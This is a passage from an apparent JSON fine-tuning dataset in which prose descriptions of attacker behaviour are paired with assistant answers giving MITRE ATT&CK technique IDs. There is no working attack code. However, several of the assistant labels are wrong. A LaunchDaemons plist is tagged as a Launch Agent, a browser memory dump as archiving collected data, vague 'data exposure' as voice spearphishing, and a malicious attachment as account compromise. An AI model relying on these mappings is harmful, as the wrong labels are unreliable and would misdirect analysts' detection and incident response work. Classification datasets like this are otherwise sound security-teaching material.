                "content": "After gaining access, the attacker installed a self‑signed digital certificate to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used PowerShell to query the Security event channel for event ID 4625 to identify failed logon attempts."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code computes domain names at execution and queries DNS to retrieve IP addresses for its next stage."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a compromised AWS SSO user credential and uses it to enumerate all accounts within the organization."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates domain controllers across the network by querying LDAP over a remote connection."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker launches mshta.exe with a malicious URL that points to a JScript or VBScript payload, causing the script to run with the user's privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvested the device configuration dumps from a centralized backup server to locate admin accounts."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware creates dozens of random domain names each hour, attempting to resolve them to find an active C2 server before the original domain is taken down."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious Outlook rule that automatically forwards incoming emails containing a specific subject line to an external address, enabling data exfiltration each time the rule triggers."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs trust discovery to understand the hierarchy of trusted domains and potential lateral movement routes."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised LDAP account was used to edit the internal portal’s announcement banner, inserting a defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved creating a file called 'winlogon.dll' in the program files directory to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a double encryption technique, first encrypting files locally, then re-encrypting them after exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses a misconfigured firewall rule that allows external traffic to invoke a serverless function without authentication."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor alters the site's login banner to show a defacement image and message."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits public proxy lists, linking multiple proxies together to form a multi‑hop relay that disguises the true origin of the attack traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the AWS IAM ListGroups API to retrieve every IAM group, then extracts attached policies to discover privileged roles."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unintentional exposure of sensitive data leading to exploitation"
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group harvests credentials from exported GPG private keys on a developer workstation."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sends a DNS query to a resolver that logs the source IP, then uses an external service to map that IP to a geographic location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware performs timing attacks by measuring execution delays of specific instructions to identify sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection uses a DGA that outputs domain names containing base‑64 encoded timestamps."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DCSync, the threat group queries the Active Directory replication protocol to obtain OS credential hashes for privileged users."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages TLS tunneling over port 443, embedding malicious commands within what appears to be normal HTTPS sessions."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edits the PAM stack on a compromised Linux host to insert a malicious module that grants access without proper credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a firmware flash attack, bricking devices and preventing their use."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses sc create to install a rogue service that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code called the SetupAPI to enumerate all attached hardware components."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the endpoint configures a SOCKS5 proxy on a compromised host, routing all outbound traffic through it to obscure the origin of malicious requests."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known vulnerability in the Remote Desktop Services to gain code execution on another host."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the LoadBehavior value of an existing Office add‑in to '3', causing the malicious add‑in to execute each time Outlook is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the SetWindowLong API to modify the WNDPROC of an existing window, redirecting execution to injected shellcode residing in extra window memory."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises the web server and replaces the homepage with a political protest message."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'schtasks' command to create a scheduled task that runs a base64-encoded PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential‑dumping tool, the intruder obtains the Windows SAM and extracts stored email addresses from user profiles."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query Azure Key Vault to extract stored database credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool adds a malicious dictionary key to the com.apple.TimeMachine.plist to disable automatic backups."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group exploits weak ACLs on service registry keys to replace the service's executable with a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hijack legitimate blogs and insert hidden SEO-optimized backlinks pointing to a malicious command-and-control server, increasing its visibility in search results."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code executes \"docker inspect\" on each container ID to collect detailed metadata about container configurations."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Mimikatz's sekurlsa::logonpasswords module to dump cached domain credentials stored in memory."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses cloud API calls to roll back a compromised virtual machine to a prior snapshot, effectively reverting the instance to its original configuration."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a malicious Authenticode certificate on a host to the trusted root store, allowing execution of unsigned payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved exploiting a misconfigured SSH service, allowing the attacker to bypass authentication and gain shell access."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create mailbox rules that forward suspicious phishing emails to a hidden folder and mark them as read, preventing detection."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary sets up a reverse shell over port 3389, blending with legitimate Remote Desktop traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is attached to a chat message; the user runs the script directly, triggering the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilized a peer‑to‑peer file‑sharing protocol over the corporate Wi‑Fi to move stolen data out of the network."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gathers information about the victim's business relationships, including alliances and co‑marketing agreements, to identify potential vectors for infiltration."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker harvests driver metadata through the SetupAPI API to identify potential targets."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a web shell to deface the company's landing page with a ransom demand."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a custom utility to dump memory pages of a running browser process to capture session tokens."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes editing the Image File Execution Options (IFEO) registry key to hijack legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses previously obtained password hashes to authenticate via RPC without needing the plaintext password."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the AWS IAM API call \"list-groups\" to retrieve every IAM group in the target AWS account."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a launch daemon on macOS to persistently run a backdoor whenever the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host opens an outbound SSH connection to a command-and-control server for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool writes to /etc/systemd/logind.conf to disable suspend on lid close on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious .plist file in /Library/LaunchDaemons and uses launchctl to load it at boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA code is embedded in a signed PowerPoint add‑in, which automatically runs when PowerPoint starts, allowing the adversary to load additional stages."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest publicly available TikTok videos to extract metadata and identify associated web domains."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary edits configuration files on disk to change default settings and introduce backdoor functionality."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell to invoke New-ADUser, establishing a domain account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious root CA certificate into the Windows Trusted Root Certification Authorities store to intercept TLS traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted malicious document exploits a memory corruption bug in the PDF viewer, allowing the attacker to execute payloads while evading AV scans."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a credential spraying technique, trying a few common passwords across many accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a hidden port knocking scheme where TCP SYN packets to ports 22, 8080, and 443 must be received sequentially before the backdoor becomes active."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs 'net accounts' on a compromised Windows host to enumerate password policy settings."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a malicious attachment that, when opened, installs malware to capture stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a scheduled task to move collected data from user profiles into a staging area on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve the operating system time via the 'date' command on Linux systems."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker's code includes a routine that detects the Windows Structured Exception Handler chain modifications typical of debugging sessions and aborts if found."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign sends victims a fake login page that forwards their entered credentials to the attacker, who then creates forged web sessions for the victims."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into entering their credentials on a spoofed login page."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Android trojan records on‑screen keyboard input by requesting the Accessibility Service permission and forwards the captured text to a command‑and‑control endpoint."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors the browser's memory for session cookie values and uploads them to a remote server for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals purchase expired domains with strong backlink profiles and publish SEO‑rich content that points to malicious executables, resulting in drive‑by infections from search engines."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
